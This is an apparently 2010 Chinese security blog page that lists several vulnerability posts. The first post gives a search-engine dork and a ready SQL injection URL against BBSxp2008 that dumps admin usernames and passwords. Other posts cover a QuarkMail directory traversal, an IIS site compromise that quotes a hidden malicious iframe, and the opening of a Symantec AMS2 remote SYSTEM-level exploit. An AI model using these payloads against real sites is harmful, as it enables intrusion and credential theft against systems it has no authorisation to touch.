BBSxp2008 8.0.4 Sql注入漏洞

1.google
inurl:friendlink.asp 网站介绍：E_mail:
exp:
productview.asp?id=8%20union%20select%201,admin,3,4,5,6,7,password,9,10,11,12%20from%20admin
爆出管理用户名密码

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 9

快客电邮（QuarkMail）最新远程漏洞

作者:admin 日期:2010-03-07

漏洞说明：快客电邮（QuarkMail）是北京雄智伟业科技公司推出的电子邮件系统，被广泛用于各个领域的电子邮件解决方案(该产品的主要客户名单http://www.ipmotor.com/cases/cases.html)，其webmail部分使用perl cgi编写，近日笔者在渗透测试过程当中发现一处严重的安全漏洞，导致远程用户可以在邮件系统上以当前web权限身份下载任意文件，获取敏感配置文件（如系统口令文件/数据库密码）从而进一步渗透主机或者系统。
影响范围：<=quarkmail server version 1.2.1(本稿截止为最新版)
厂商网址：http://www.ipmotor.com/
漏洞解析：用户传入的参数没有做有效的过滤，从而导致产生了目录遍历漏洞。

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 7

处理WIN2003服务器IIS被挂马全过程

作者:admin 日期:2010-03-06

By wuchaochao

一台服务器几乎所有网站打开网页甚至HTML网页都出现了
<iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe>
这种样式的代码有的在头部　有的在尾部部分杀毒软件打开会报毒

分类:技术文章 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 9

赛门铁克远程溢出exp 允许攻击者执行任意指令与&系统级权限(图附Exp下载）

作者:admin 日期:2010-03-06

#The AMS2 (Alert Management Systems 2) component of multiple Symantec products is prone to a remote #command-execution vulnerability because the software fails to adequately sanitize user-supplied #input.
#Successfully exploiting this issue will allow an attacker to execute arbitrary commands with #SYSTEM-level privileges, completely compromising affected computers. Failed exploit attempts will #result in a denial-of-service condition.
# # # # # # # # # # # # # # # # # # # # # # # # #
### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE
### REMOTE SYSTEM LEVEL EXPLOIT

分类:漏洞相关 | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2